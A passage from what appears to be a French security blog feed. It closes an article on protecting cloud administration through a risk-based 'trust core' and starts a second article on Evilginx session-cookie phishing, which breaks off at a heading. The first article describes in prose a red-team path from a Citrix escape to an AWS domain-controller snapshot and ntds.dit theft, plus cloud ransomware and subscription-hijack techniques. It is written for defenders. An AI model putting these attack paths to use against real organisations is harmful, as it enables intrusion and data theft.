<p>Pour illustrer les précédents propos, mettons de côté l’aspect <em>Digital Workplace</em> (suite O365) et prenons 3 comptes AWS issus d’une Landing Zone de Tartampion, supportant différents services d’infrastructure :</p>
<figure id="attachment_28882" aria-describedby="caption-attachment-28882" style="width: 1695px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28882" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/2-Exemple-de-comptes-AWS-pour-une-entreprise.png" alt="Exemple de comptes AWS pour une entreprise" width="1695" height="345" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/2-Exemple-de-comptes-AWS-pour-une-entreprise.png 1695w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/2-Exemple-de-comptes-AWS-pour-une-entreprise-437x89.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/2-Exemple-de-comptes-AWS-pour-une-entreprise-71x14.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/2-Exemple-de-comptes-AWS-pour-une-entreprise-768x156.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/2-Exemple-de-comptes-AWS-pour-une-entreprise-1536x313.png 1536w" sizes="auto, (max-width: 1695px) 100vw, 1695px" /><figcaption id="caption-attachment-28882" class="wp-caption-text"><em>Exemple de comptes AWS pour une entreprise</em></figcaption></figure>
<p> </p>
<p>En se fiant au référentiel proposé par Microsoft, ces <strong>trois comptes AWS devraient appartenir au Management plane</strong> avec un niveau de sécurité T1. Cependant, en cas de compromission d’un des 3 comptes par un attaquant, les impacts seraient très différents.</p>
<p>Si la Landing Zone est correctement implémentée, la compromission d’un compte de Sandbox n’aurait que très peu d’impact, tandis que celle du Master Account entrainerait celle de tous les comptes et ressources sous-jacentes.</p>
<p>Un exemple de découpage plus adéquat serait le suivant :</p>
<figure id="attachment_28884" aria-describedby="caption-attachment-28884" style="width: 1679px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28884" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/3-Tiering-Model-etendu-a-lEnterprise-Access-Model.png" alt="Tiering Model étendu à l’Enterprise Access Model" width="1679" height="674" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/3-Tiering-Model-etendu-a-lEnterprise-Access-Model.png 1679w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/3-Tiering-Model-etendu-a-lEnterprise-Access-Model-437x175.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/3-Tiering-Model-etendu-a-lEnterprise-Access-Model-71x29.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/3-Tiering-Model-etendu-a-lEnterprise-Access-Model-768x308.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/3-Tiering-Model-etendu-a-lEnterprise-Access-Model-1536x617.png 1536w" sizes="auto, (max-width: 1679px) 100vw, 1679px" /><figcaption id="caption-attachment-28884" class="wp-caption-text"><em>Tiering Model étendu à l’Enterprise Access Model</em></figcaption></figure>
<p> </p>
<p>L’Enterprise Access Model par Microsoft est un <strong>framework macroscopique</strong> permettant d’initier une base de découpage des services cloud, mais <strong>qui reste à adapter</strong> selon la criticité des SI concernés.</p>
<p>Comment le rendre pertinent ? Pour répondre, il faut comprendre les scénarios d’attaque exploitant les services cloud.</p>
<p> </p>
<h2>Le Cloud vu de l’attaquant</h2>
<h3>5 principes du cloud favorisant les attaques</h3>
<p>Premièrement, les <strong>infrastructures cloud sont par défaut exposées sur Internet</strong>, contrairement aux ressources sensibles d’un SI. Ainsi, un phishing réussi conduit très probablement à un accès sur le Cloud.</p>
<p>Deuxièmement, les entreprises ont aujourd’hui des <strong>organisations hybrides</strong> (on-premise et cloud) :</p>
<ul>
<li>Les <strong>infrastructures cloud sont reliées au reste du SI on-premise</strong> ;</li>
<li>Les <strong>postes de travail</strong> peuvent également être <strong>hybrides</strong> et gérés par un service cloud comme Intune. Les permissions pour utiliser ce service sont gérées dans Entra ID ;</li>
<li>Les identités sont souvent des <strong>comptes synchronisés</strong>, cela concerne également les comptes d’administration.</li>
</ul>
<p>Les organisations hybrides peuvent faciliter les latéralisations entre le cloud et l’on-premise.</p>
<p>Troisièmement, la <strong>gestion des identités est très complexe avec différentes portées</strong>. Par exemple, Entra ID permet de gérer les accès à Azure et M365 aussi bien pour des utilisateurs, que des applications que des comptes de service.</p>
<p>Pour compléter, les notions de cybersécurité liées au Cloud sont encore relativement nouvelles et méconnues pour certaines équipes « legacy », comme le SOC/CERT, le réseau&#8230; Les <strong>ressources cloud les plus sensibles ne sont pas systématiquement identifiées, protégées et surveillées</strong>.</p>
<p>Enfin, même si des mécanismes de détection natifs sont présents, ils ne sont <strong>pas toujours interconnectés avec les SIEM/SOAR</strong>, ce qui ralentit les capacités d’intervention. Une récente opération Purple Team menée sur des infrastructures Azure et AWS a confirmé que les <strong>outils de détection natifs ont une capacité de détection limitée</strong>. Il s’agit d’un <strong>constat retrouvable dans les Red Team puisqu’avec une démarche « OpSec », les outils de détection cloud sont rarement capables d’identifier une attaque en cours</strong>.</p>
<p> </p>
<h3>REX de nos tests d’intrusion &amp; Red Team</h3>
<p>Issus des opérations de Red Team menées récemment, ces chemins d’attaques spécifiques aux environnements cloud sont témoin des impacts et des facilités qu’il est possible d’avoir pour s’élever en privilège jusqu’à obtenir des accès très permissifs :</p>
<figure id="attachment_28886" aria-describedby="caption-attachment-28886" style="width: 1689px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28886" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/4-Exemples-de-chemins-dattaques-Cloud-exploites-en-Red-Team.png" alt="Exemples de chemins d’attaques Cloud exploités en Red Team" width="1689" height="761" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/4-Exemples-de-chemins-dattaques-Cloud-exploites-en-Red-Team.png 1689w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/4-Exemples-de-chemins-dattaques-Cloud-exploites-en-Red-Team-424x191.png 424w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/4-Exemples-de-chemins-dattaques-Cloud-exploites-en-Red-Team-71x32.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/4-Exemples-de-chemins-dattaques-Cloud-exploites-en-Red-Team-768x346.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/4-Exemples-de-chemins-dattaques-Cloud-exploites-en-Red-Team-1536x692.png 1536w" sizes="auto, (max-width: 1689px) 100vw, 1689px" /><figcaption id="caption-attachment-28886" class="wp-caption-text"><em>Exemples de chemins d’attaques Cloud exploités en Red Team</em></figcaption></figure>
<p> </p>
<p>Le premier scénario, effectué sur AWS, est décrit ci-dessous, les deux autres ont été analysés dans une série d’articles Risk Insight disponible <span style="color: #333399;"><a style="color: #333399;" href="https://www.riskinsight-wavestone.com/2025/01/enterprise-access-model-1-2-comment-definir-un-control-plane-pour-securiser-ladministration-cloud-et-empecher-une-compromission-a-grande-echelle/">ici</a></span>.</p>
<p> </p>
<p><span style="text-decoration: underline;"><em><strong>Reconnaissance et Accès initial</strong></em></span></p>
<p>Des catégories d’employés sont généralement <strong>ciblées afin de compromettre une personne avec des droits intéressants dans le SI (Développeur, Support, OPS…)</strong>. Un moyen souvent utilisé est d’utiliser du <strong>phishing</strong>. Les mécanismes de <a href="https://www.riskinsight-wavestone.com/2025/07/phishing-evilginx-pousse-a-ses-limites/"><span style="color: #333399;">phishing actuel</span></a> sont capables de contourner l’usage de mots de passe complexe et la plupart des méthodes de MFA (Multi-Factor Authentication).</p>
<p> </p>
<p><em><span style="text-decoration: underline;"><strong>Escalade de privilèges et mouvements latéraux</strong></span></em></p>
<p>Dans le premier scénario, un développeur compromis possédait des accès à une ferme Citrix. Les <strong>environnements Citrix ne sont pas simples à durcir complètement </strong>et quelques vulnérabilités d’échappement ont permis à la Red Team d’avoir un accès au serveur sous-jacent.</p>
<p>Les informations récoltées sur la machine ont indiqué que le serveur pouvait être hébergé sur AWS. Cela s’est vérifié en essayant d’<strong>accéder aux métadonnées AWS du serveur </strong>: l’instance avait des droits sur le compte AWS du client. La machine virtuelle du Citrix possédait le rôle « <strong>AmazonEC2FullAccess </strong>» lui permettant des actions de gestion sur les EC2 du même compte AWS.</p>
<p>À l’aide de la CLI AWS, les autres EC2 ont été listées. Un contrôleur de domaine du client était présent dans ce compte AWS. C’est une pratique courante de vouloir regrouper dans un même compte, généralement appelé « Shared Services », les services qui ont pour vocation d’être utilisés par plusieurs projets. Il est néanmoins recommandé de <strong>vérifier que la criticité des services partagés soit homogène de sorte à pouvoir appliquer un durcissement adéquat</strong> sur le compte, ou les séparer en plusieurs environnements.</p>
<p> </p>
<p><em><span style="text-decoration: underline;"><strong>Actions sur les trophées</strong></span></em></p>
<p>À partir du rôle AWS du serveur Citrix, <strong>une sauvegarde instantanée du contrôleur de domaine a été faite puis téléchargée</strong>. Les sauvegardes d’un contrôleur de domaine contiennent tous les fichiers de la machine, y compris les fichiers les plus sensibles, comme la base <em>ntds.dit</em>, qui contient les informations et secrets de tous les utilisateurs du domaine. L’exfiltration de cette base se traduit en la compromission totale du domaine AD concerné.</p>
<p>Ce scénario illustre l&rsquo;un des chemins d’attaques qui ont été exploités lors des opérations de redteam, facilité par le manque de visibilité sur les impacts que peuvent avoir une ressource compromise hébergée sur le cloud.</p>
<p> </p>
<h3>Des impacts plus rapides et plus forts</h3>
<p>Les attaques déjà possibles sur un SI on-premise peuvent être reproduites et même <strong>accélérées grâce aux fonctionnalités du cloud</strong>. Par exemple, le chiffrement de buckets S3 (service de stockage de fichiers) à partir d’une clé KMS (de chiffrement) d’un autre compte AWS imite le chiffrement massif de données, ou l’utilisation de la fonctionnalité « lifecycle » permet une suppression de tous les objets en moins de 24 heures, peu importe la quantité de données.</p>
<p>De nouvelles attaques sont également apparues comme le « <strong>Hijack de souscription</strong> » qui permet de <strong>rattacher un abonnement d’une organisation Azure à une autre</strong> et ainsi de voler toutes les données qu’il contient et empêcher les actions de remédiation. Cette attaque est réalisable en quelques clics depuis l’interface web Azure.</p>
<p> </p>
<h2>Identification et protection du cœur de confiance cloud</h2>
<h3>Identification du Cœur de confiance</h3>
<p><strong>Le cœur de confiance</strong> adopte une approche centrée sur la priorisation des actifs, qui diffère du modèle de tiering ou de l’Enterprise Access Model de Microsoft. Contrairement à ces modèles qui proposent un découpage prédéfini, il n’existe pas de grille universelle : chaque organisation doit identifier elle-même quelles ressources méritent le plus haut niveau de protection. L’idée est d’établir un <strong>cercle restreint de ressources critiques</strong> (qu’elles soient cloud ou on-premise) puis de <strong>déployer des niveaux de protection dégressifs à mesure que l’on s’éloigne de ce cœur</strong><strong>.</strong></p>
<p>L’identification du cœur de confiance repose sur <strong>deux grands critères</strong> :</p>
<ul>
<li><strong>Criticité métier</strong>: ce sont les ressources qui concentrent la valeur et la continuité des activités de l’entreprise. Si elles venaient à être perdues ou compromises, les conséquences seraient immédiates pour le fonctionnement quotidien et financièrement. Un environnement SharePoint contenant la donnée intellectuelle / brevets en est un exemple courant ;</li>
<li><strong>Criticité SI</strong>: il s’agit des ressources qui assurent l’administration du système d’information et qui disposent d’un niveau d’accès élevé. Leur compromission aurait un impact majeur sur l’ensemble du SI et permettrait d’avoir l’impact métier précédemment énoncé. On retrouve ici les contrôleurs de domaine ou encore les services d’IAM Cloud comme Entra ID et AWS Identity Center.</li>
</ul>
<p><em><strong> </strong></em></p>
<p>Cette cartographie n’est jamais totalement tranchée. Pour certains éléments, la posture à adopter reste plus floue, deux exemples l’illustrent bien :</p>
<ul>
<li><strong>L’EDR</strong>: élément de sécurité évident d’un SI, systématiquement déployé tant sur les postes de travail que sur les serveurs cloud <strong>et</strong> on-premise, sa console d’administration est de plus en plus souvent exposée sur internet, et permet d’exécuter des commandes arbitraires sur les équipements qui en sont équipés.</li>
<li><strong>Les chaînes CICD</strong>: un savant, mais complexe agglomérat d’applications s’appelant entre elles, dont l’accès (le gestionnaire de code : GitLab, GitHub…) est offert à l’ensemble des collaborateurs et les droits sur le SI (manipulé par les runners de déploiement) sont bien souvent administrateur de l’ensemble des infrastructures cloud. Sur l’ensemble des <strong>Red Team effectués en 2024 &amp; 2025, 80% ont exploité des vulnérabilités associées</strong> à ses solutions pour progresser dans leur opération, voire obtenir des trophées de compromission par ce biais.</li>
</ul>
<p> </p>
<p>Afin d’identifier le « noyau dur » du cœur de confiance, qu’on appellera <strong>socle de sécurité</strong>, on peut reprendre les préceptes de l’ancien T0 : la compromission d’un de ses éléments entrainerait probablement celles des autres, et par cascade de la majeure partie du SI.</p>
<p>En supposant que vos applications appliquent un correct cloisonnement interutilisateur (l’intégralité de vos sites SharePoint n’est pas accessible par tous, n’est-ce pas ?), les références aux prochaines applications seront à comprendre comme des <strong>accès administrateurs</strong> / super-utilisateurs à ces dernières, et non simple utilisateur.</p>
<p>Voici l’une des représentations possibles pour un cœur de confiance hybride :</p>
<figure id="attachment_28888" aria-describedby="caption-attachment-28888" style="width: 1680px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28888" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/5-Proteger-lessentiel-votre-coeur-de-confiance.png" alt="Protéger l’essentiel, votre cœur de confiance" width="1680" height="998" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/5-Proteger-lessentiel-votre-coeur-de-confiance.png 1680w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/5-Proteger-lessentiel-votre-coeur-de-confiance-322x191.png 322w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/5-Proteger-lessentiel-votre-coeur-de-confiance-66x39.png 66w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/5-Proteger-lessentiel-votre-coeur-de-confiance-120x70.png 120w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/5-Proteger-lessentiel-votre-coeur-de-confiance-768x456.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/5-Proteger-lessentiel-votre-coeur-de-confiance-1536x912.png 1536w" sizes="auto, (max-width: 1680px) 100vw, 1680px" /><figcaption id="caption-attachment-28888" class="wp-caption-text"><em>Protéger l’essentiel, votre cœur de confiance</em></figcaption></figure>
<p> </p>
<p>Dans cette représentation, il y a côté on-premise :</p>
<ul>
<li><strong>Le T0</strong> avec ses contrôleurs de domaine, l’ADCS, et potentiellement la PKI, le bastion, la console EDR…</li>
<li><strong>Le T1</strong> en intégrant en plus les applications métiers à fort impact.</li>
</ul>
<p>Et côté Cloud, on retrouve :</p>
<ul>
<li>Au cœur le <strong>Control Plane</strong> (AWS Orga &amp; Identity Center, Entra ID) ainsi que les modules de la Landing Zone supportant le <strong>T0</strong> (si une partie du T0 est hébergée dans le Cloud) ;</li>
<li>En s’éloignant, les diverses <strong>consoles d’administration</strong> des suites de bureautique, et de management des infrastructures ou des applications.</li>
</ul>
<p>En établissant ce diagramme, il est important de garder à l’esprit que :</p>
<ul>
<li><strong>L’IT sert au métier</strong> et quand bien même la zone centrale du cœur de confiance est principalement occupée par des briques techniques, il convient d’inscrire ses solutions critiques ;</li>
<li><strong>Les</strong> <strong>chaînes de dépendance</strong> / compromission ont beaucoup d’impact sur les <strong>choix d’architecture</strong>: positionner un AD sur AWS, ou déployer un EDR sur un AD peut soudainement créer de nombreux chemins de compromission et de rebond entre les 2 mondes.</li>
</ul>
<p>Enfin, la construction d’un cœur de confiance ne peut pas se limiter à une logique de classification statique. Elle doit reposer sur <strong>une approche qui évalue la criticité de chaque actif et le risque qu’il introduit</strong> (une entreprise de développement de logiciel ne positionnera surement son Git au même niveau qu’une entreprise de travaux public).</p>
<p> </p>
<h3>Protection du cœur de confiance cloud</h3>
<p>La sécurité du cœur de confiance va reposer sur les deux traditionnels facteurs de risques :</p>
<ul>
<li><strong>Réduire l’impact</strong>: comment empêcher un utilisateur compromis ou malveillant de se connecter aux portails cloud sur un navigateur et de faire des actions sensibles en quelques clics, comme faire une sauvegarde d’un contrôleur de domaine hébergé sur une VM ou supprimer les sauvegardes de données de production ?</li>
<li><strong>Réduire la probabilité </strong>: comment réduire les risques d’accès illégitimes à partir d’un cookie de session volé par phishing, de la compromission d’un poste de travail ou de la réutilisation de mots de passe des utilisateurs ?</li>
</ul>
<p> </p>
<p><strong><em><span style="text-decoration: underline;">Protection du socle de sécurité cloud</span></em></strong></p>
<p>Concernant le « socle de sécurité » cloud il est possible de hiérarchiser les environnements par criticité selon cette échelle macroscopique :</p>
<figure id="attachment_28890" aria-describedby="caption-attachment-28890" style="width: 1641px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28890" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/6-Les-principaux-niveaux-du-socle-de-securite-cloud.png" alt="Les principaux niveaux du socle de sécurité cloud" width="1641" height="678" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/6-Les-principaux-niveaux-du-socle-de-securite-cloud.png 1641w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/6-Les-principaux-niveaux-du-socle-de-securite-cloud-437x181.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/6-Les-principaux-niveaux-du-socle-de-securite-cloud-71x29.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/6-Les-principaux-niveaux-du-socle-de-securite-cloud-768x317.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/6-Les-principaux-niveaux-du-socle-de-securite-cloud-1536x635.png 1536w" sizes="auto, (max-width: 1641px) 100vw, 1641px" /><figcaption id="caption-attachment-28890" class="wp-caption-text"><em>Les principaux niveaux du socle de sécurité cloud</em></figcaption></figure>
<p> </p>
<p>En fonction des équipes en charge et de la complexité de les inclure dans un niveau de protection particulièrement élevée, certaines organisations font le choix d’exclure des environnements dont la compromission ne permettrait pas une latéralisation dangereuse, telle que ceux de FinOps, de détection, le Digital Workplace…</p>
<p>La sécurisation du socle de sécurité cloud repose sur 2 principaux points :</p>
<ul>
<li>Une <strong>hygiène</strong> impeccable : configuration IAM épurée, respect du moindre privilège, procédure de déploiement, limitation des ressources au strict nécessaire…</li>
<li>Une couche de sécurité passive / active : déploiement de <strong>politiques</strong> (SCP sur AWS, Policy sur Azure) interdisant explicitement certaines actions, ou la manipulation de certaines ressources, et <strong>règles de détection</strong> afin de lever une alerte en cas de modification d’une politique ou l’occurrence d’un de ses évènements protégés ;</li>
</ul>
<p>Ces politiques peuvent efficacement être associées à une <strong>stratégie de tagging</strong> afin d’appliquer, en plus du modèle RBAC (Role Based Access Control) un modèle ABAC (Attribute Based Access Control).</p>
<p>Par exemple il est possible de tagger différentes ressources avec une clé « tiering » et une valeur entre « T0 », « T1 », « T2 » puis de déployer cet ensemble de stratégies :</p>
<ul>
<li>Interdire toute action visant une ressource taguée tiering par une identité dont la valeur de son propre tag tiering n’est pas équivalente ;</li>
<li>Interdire la manipulation de tag tiering, sauf pour un rôle bien précis.</li>
</ul>
<p>Et voilà comment, en quelques tags et 2 SCP, il est possible de répliquer le tiering model de Microsoft (quelques exceptions peuvent subvenir).</p>
<p> </p>
<p><strong><em><span style="text-decoration: underline;">Protections des identités et des accès</span></em></strong></p>
<p>Pour protéger les utilisateurs, 3 thématiques de durcissement peuvent être mises en place :</p>
<ul>
<li><strong>Identité </strong>: avec quel compte l’utilisateur se connecte-t-il aux interfaces d’administration cloud ? Comment les droits sont-ils obtenus ?</li>
<li><strong>MFA</strong> : l’identité est-elle protégée avec une authentification multifactorielle résistante aux attaques de phishing ?</li>
<li><strong>Provenance</strong>: à partir de quelle plateforme l’utilisateur se connecte-t-il aux interfaces d’administration cloud ? La plateforme est-elle managée, et saine ?</li>
</ul>
<p>Plusieurs niveaux de protection sont envisageables afin de protéger les administrateurs cloud :</p>
<figure id="attachment_28892" aria-describedby="caption-attachment-28892" style="width: 1684px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28892" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/7-Aligner-le-niveau-de-protection-avec-le-niveau-de-risque.png" alt="Aligner le niveau de protection avec le niveau de risque" width="1684" height="835" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/7-Aligner-le-niveau-de-protection-avec-le-niveau-de-risque.png 1684w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/7-Aligner-le-niveau-de-protection-avec-le-niveau-de-risque-385x191.png 385w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/7-Aligner-le-niveau-de-protection-avec-le-niveau-de-risque-71x35.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/7-Aligner-le-niveau-de-protection-avec-le-niveau-de-risque-768x381.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/7-Aligner-le-niveau-de-protection-avec-le-niveau-de-risque-1536x762.png 1536w" sizes="auto, (max-width: 1684px) 100vw, 1684px" /><figcaption id="caption-attachment-28892" class="wp-caption-text"><em>Aligner le niveau de protection avec le niveau de risque</em></figcaption></figure>
<p> </p>
<p>Afin de protéger le <strong>cœur de confiance restreint</strong>, représenté par les triples cadenas, il est recommandé de mettre en œuvre les <strong>facteurs d’authentification les plus robustes</strong>. Cela inclut l’utilisation d’un compte dédié à l’administration cloud, l’activation d’une authentification multifactorielle physique (exemple : clé de sécurité FIDO2) et le recours à un poste de travail spécifiquement réservé aux opérations sur ce cœur de confiance.</p>
<p>Pour les <strong>ressources plus éloignées</strong> du centre du cœur de confiance, symbolisées par les doubles cadenas, un <strong>niveau de sécurité durci, mais proportionné</strong> peut être appliqué, afin de renforcer la protection pour maitriser les coûts et réduire les contraintes excessives aux utilisateurs concernés.</p>
<p>Finalement, les <strong>méthodes les plus sécurisées sont également celles qui impliquent le plus de contraintes aux personnes concernées</strong>. Il faut maitriser les usages et prendre en compte des situations d’urgence, comme une intervention en astreinte nécessitant des privilèges très élevés.</p>
<p> </p>
<h3>Répéter les opérations</h3>
<p>À l’issue des phases d’identification et de protection, les ressources seront réparties dans les différentes couches du cœur de confiance.</p>
<p>Pour vérifier la bonne implémentation du cœur de confiance, un <strong>audit peut être conduit pour vérifier la bonne protection des ressources</strong> critiques qui le compose.</p>
<p>Un système d’information est toujours en évolution, mais les deux premières phases auront été faites à un instant <em>t</em>. De <strong>nouvelles ressources critiques peuvent être ajoutées, d’autres modifiées, voire supprimées</strong>. Il est primordial de <strong>refaire une évaluation régulière de son SI </strong>et de mettre à jour la répartition des ressources dans le cœur de confiance.</p>
<h2> </h2>
<p>En conclusion, la sécurité des systèmes d’information s’inscrit désormais dans un contexte de complexité croissante et de forte diversification des composants et services d’infrastructures.</p>
<p>Dans ce contexte, il apparaît de plus en plus complexe de définir un modèle de sécurité universel. Certains cadres conservent toute leur pertinence sur des périmètres bien identifiés : le tiering reste une référence pour la sécurisation de l’Active Directory, tout comme l’EAM pour des environnements Cloud fortement centrés sur l’écosystème Microsoft. Néanmoins, ces modèles atteignent rapidement leurs limites dès lors que l’on s’éloigne de ces cas d’usage spécifiques.</p>
<p>Pour la majorité des systèmes d’information, une approche fondée sur l’analyse des risques s’impose donc comme la plus pertinente. Identifier un cœur de confiance, définir clairement les actifs critiques <em>— les crown jewels —</em> et décliner les mesures de sécurité à partir de ces éléments permet de construire une posture de sécurité plus pragmatique, adaptée à la réalité du SI et capable d’évoluer avec lui.</p>
<p>Cette logique, moins normative mais plus contextualisée, constitue sans doute l’un des leviers majeurs pour concilier sécurité, agilité et pérennité des systèmes d’information.</p>






<p>Cet article <a href="https://www.riskinsight-wavestone.com/2026/01/securite-orientee-cloud-adaptation-a-une-nouvelle-realite/">Sécurité orientée cloud : Adaptation à une nouvelle réalité</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/2026/01/securite-orientee-cloud-adaptation-a-une-nouvelle-realite/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Phishing : Evilginx poussé à ses limites</title>
		<link>https://www.riskinsight-wavestone.com/2025/07/phishing-evilginx-pousse-a-ses-limites/</link>
					<comments>https://www.riskinsight-wavestone.com/2025/07/phishing-evilginx-pousse-a-ses-limites/#respond</comments>
		
		<dc:creator><![CDATA[Yoann DEQUEKER]]></dc:creator>
		<pubDate>Thu, 17 Jul 2025 15:03:17 +0000</pubDate>
				<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[Azure]]></category>
		<category><![CDATA[cybersecurity]]></category>
		<category><![CDATA[Ethical Hacking]]></category>
		<category><![CDATA[EvilGinx]]></category>
		<category><![CDATA[MFA]]></category>
		<category><![CDATA[Okta]]></category>
		<category><![CDATA[phishing]]></category>
		<category><![CDATA[Phislet]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=26611</guid>

					<description><![CDATA[<p>Les attaques par phishing sont aussi vieilles que l&#8217;internet. Cependant, au fil des ans, les techniques et les moyens utilisés pour le phishing changent, mais l&#8217;objectif final reste le même : obtenir un premier accès au réseau interne. Habituellement, les...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2025/07/phishing-evilginx-pousse-a-ses-limites/">Phishing : Evilginx poussé à ses limites</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[


<p style="text-align: justify;">Les attaques par phishing sont <strong>aussi vieilles que l&rsquo;internet</strong>. Cependant, au fil des ans, les techniques et les moyens utilisés pour le phishing changent, mais l&rsquo;objectif final reste le même : obtenir un premier accès au réseau interne.</p>
<p style="text-align: justify;">Habituellement, <strong>les <em>threat actors</em> tentent d&rsquo;envoyer des documents malveillants</strong> tels que des applications HTA ou des documents Office malveillants mais, avec le développement de solutions de sécurité SMTP telles que ProofPoint, le durcissement par défaut d&rsquo;Office lié aux macros et la sensibilisation accrue au phishing, <strong>ces types de techniques sont de moins en moins utilisés</strong>.</p>
<p style="text-align: justify;">Aujourd’hui, les attaques de phishing ne visent plus à obtenir un accès direct au réseau interne de l’entreprise, mais plutôt à <strong>récupérer l’identité numérique de l’utilisateur :</strong> son identité Office365, Google Workspace ou Okta. Cette identité est ensuite réutilisée via des applications SSO jusqu’à ce qu’une porte d’entrée soit identifiée, par le biais d’applications exposées comme Citrix ou un accès VPN.</p>
<p style="text-align: justify;">Pour limiter ce type d’attaques, <strong>les entreprises ont commencé à imposer l’utilisation de l’authentification multifacteur (MFA)</strong>, afin de garantir que, même si un acteur malveillant parvient à récupérer un jeu d’identifiants valides par phishing ou collecte, il ne puisse ni compléter le processus d’authentification ni réutiliser ces identifiants sur une autre application.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Phishing 101</h2>
<p> </p>
<h3 style="text-align: justify;">IDP, cookies et phishing</h3>
<p style="text-align: justify;">La protection MFA mise en place par les entreprises est <strong>un bon moyen de limiter l&rsquo;impact</strong> d&rsquo;un phishing réussi. En effet, même si l&rsquo;acteur de la menace récupère les informations d&rsquo;identification de l&rsquo;utilisateur, il ne sera pas en mesure d&rsquo;usurper l&rsquo;identité de l&rsquo;utilisateur puisqu&rsquo;il ne pourra pas valider le MFA.</p>
<p style="text-align: justify;">Cependant, aujourd&rsquo;hui, le MFA n&rsquo;est généralement demandé <strong>que lors de la première authentification</strong> : une fois que l&rsquo;utilisateur est authentifié auprès du fournisseur d&rsquo;identité, celui-ci lui fournit une preuve d&rsquo;authentification qu&rsquo;il peut transmettre à n&rsquo;importe quel service. Grâce à cette preuve d&rsquo;authentification, l&rsquo;utilisateur n&rsquo;a pas besoin d&rsquo;une authentification active supplémentaire et n&rsquo;a donc pas besoin de revalider le MFA tant que ce ticket est valide.</p>
<p style="text-align: justify;">Dans les IDP web les plus courants comme Azure, Google ou Okta, <strong>ce ticket est représenté par les cookies</strong>. Lorsque l&rsquo;utilisateur se connecte à l&rsquo;IDP pour la première fois, le service renvoie un cookie valable pendant 1 heure, 1 jour ou 2 ans. Avec ces cookies, l&rsquo;utilisateur peut se connecter à n&rsquo;importe quel autre service web compatible SSO sans authentification.</p>
<p style="text-align: center;"> </p>
<figure id="attachment_26612" aria-describedby="caption-attachment-26612" style="width: 973px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-26612" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image1-1-238x191.png" alt="Schéma décrivant le maintient de la session par les cookies" width="973" height="781" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image1-1-238x191.png 238w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image1-1-49x39.png 49w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image1-1-768x616.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image1-1.png 1420w" sizes="auto, (max-width: 973px) 100vw, 973px" /><figcaption id="caption-attachment-26612" class="wp-caption-text"><em>Session maintenue par des cookies</em></figcaption></figure>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">En résumé,<strong> les cookies IDP de l&rsquo;utilisateur représentent l&rsquo;identité numérique de l&rsquo;utilisateur</strong>. Par conséquent, dans une attaque de phishing dont l&rsquo;objectif principal est d&rsquo;usurper cette identité numérique de l&rsquo;utilisateur, l&rsquo;attaquant tentera de voler les cookies une fois que l&rsquo;utilisateur aura réussi son authentification.</p>
<p> </p>
<h3 style="text-align: justify;">Evilginx</h3>
<p> </p>
<h4 style="text-align: justify;">Evil proxy</h4>
